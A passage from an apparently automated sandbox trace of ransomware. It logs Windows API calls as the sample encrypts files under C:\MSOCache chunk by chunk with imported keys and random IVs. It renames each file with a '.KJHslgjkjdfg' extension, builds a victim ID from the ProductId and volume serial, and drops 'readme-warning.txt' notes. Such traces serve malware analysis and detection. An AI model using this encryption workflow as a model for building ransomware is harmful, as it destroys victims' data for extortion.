pdwDataLen=0x290f4e0*=0x2520, dwBufLen=0x2520 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x2520) returned 1 [0135.832] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.832] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x2520, lpOverlapped=0x0) returned 1 [0135.832] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.832] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.832] SetEndOfFile (hFile=0x124) returned 1 [0135.834] GetProcessHeap () returned 0x2a0000 [0135.834] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.834] GetProcessHeap () returned 0x2a0000 [0135.834] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.835] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.kjhslgjkjdfg")) returned 1 [0135.837] CloseHandle (hObject=0x124) returned 1 [0135.837] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0135.837] GetProcessHeap () returned 0x2a0000 [0135.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.838] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0135.838] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.838] GetProcessHeap () returned 0x2a0000 [0135.838] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0135.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.838] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0135.838] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.838] GetProcessHeap () returned 0x2a0000 [0135.838] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0135.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.838] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0135.838] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.838] GetProcessHeap () returned 0x2a0000 [0135.838] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0135.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.838] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0135.838] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.838] GetProcessHeap () returned 0x2a0000 [0135.838] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.838] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0135.839] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.839] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0135.839] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0135.839] RegCloseKey (hKey=0x124) returned 0x0 [0135.839] GetProcessHeap () returned 0x2a0000 [0135.839] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0135.839] GetProcessHeap () returned 0x2a0000 [0135.839] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.839] GetProcessHeap () returned 0x2a0000 [0135.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.839] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0135.839] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.839] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0135.839] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.840] GetProcessHeap () returned 0x2a0000 [0135.840] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.840] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0135.840] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0135.840] GetProcessHeap () returned 0x2a0000 [0135.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0135.840] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0135.840] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.841] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0135.842] CloseHandle (hObject=0x124) returned 1 [0135.842] GetProcessHeap () returned 0x2a0000 [0135.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0135.842] GetProcessHeap () returned 0x2a0000 [0135.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0135.842] GetProcessHeap () returned 0x2a0000 [0135.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0135.842] GetProcessHeap () returned 0x2a0000 [0135.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.842] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0135.842] GetProcessHeap () returned 0x2a0000 [0135.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0135.842] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0135.842] GetProcessHeap () returned 0x2a0000 [0135.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0135.843] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0135.846] GetProcessHeap () returned 0x2a0000 [0135.846] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0135.846] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.846] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0135.846] GetProcessHeap () returned 0x2a0000 [0135.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0135.846] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.846] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2503680) returned 1 [0135.846] GetProcessHeap () returned 0x2a0000 [0135.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.846] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.846] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.846] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.847] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.847] GetProcessHeap () returned 0x2a0000 [0135.847] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.847] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.847] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.847] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.849] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.849] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.849] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.849] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.849] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.850] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.850] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.850] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.859] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.863] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.864] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.864] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.864] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.864] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.878] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.880] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.880] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.882] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.882] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.882] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.882] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.890] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.893] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.893] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.894] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.894] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.894] SetEndOfFile (hFile=0x124) returned 1 [0135.897] GetProcessHeap () returned 0x2a0000 [0135.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.897] GetProcessHeap () returned 0x2a0000 [0135.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.897] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.kjhslgjkjdfg")) returned 1 [0135.898] CloseHandle (hObject=0x124) returned 1 [0135.898] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0135.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.898] GetProcessHeap () returned 0x2a0000 [0135.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.898] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.898] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.898] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xa, lpOverlapped=0x0) returned 1 [0135.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.907] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.908] GetProcessHeap () returned 0x2a0000 [0135.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.908] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.908] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.908] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.908] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.908] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.908] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.908] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.908] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.908] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x646, lpOverlapped=0x0) returned 1 [0135.908] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x650, dwBufLen=0x650 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x650) returned 1 [0135.908] SetFilePointerEx (in: 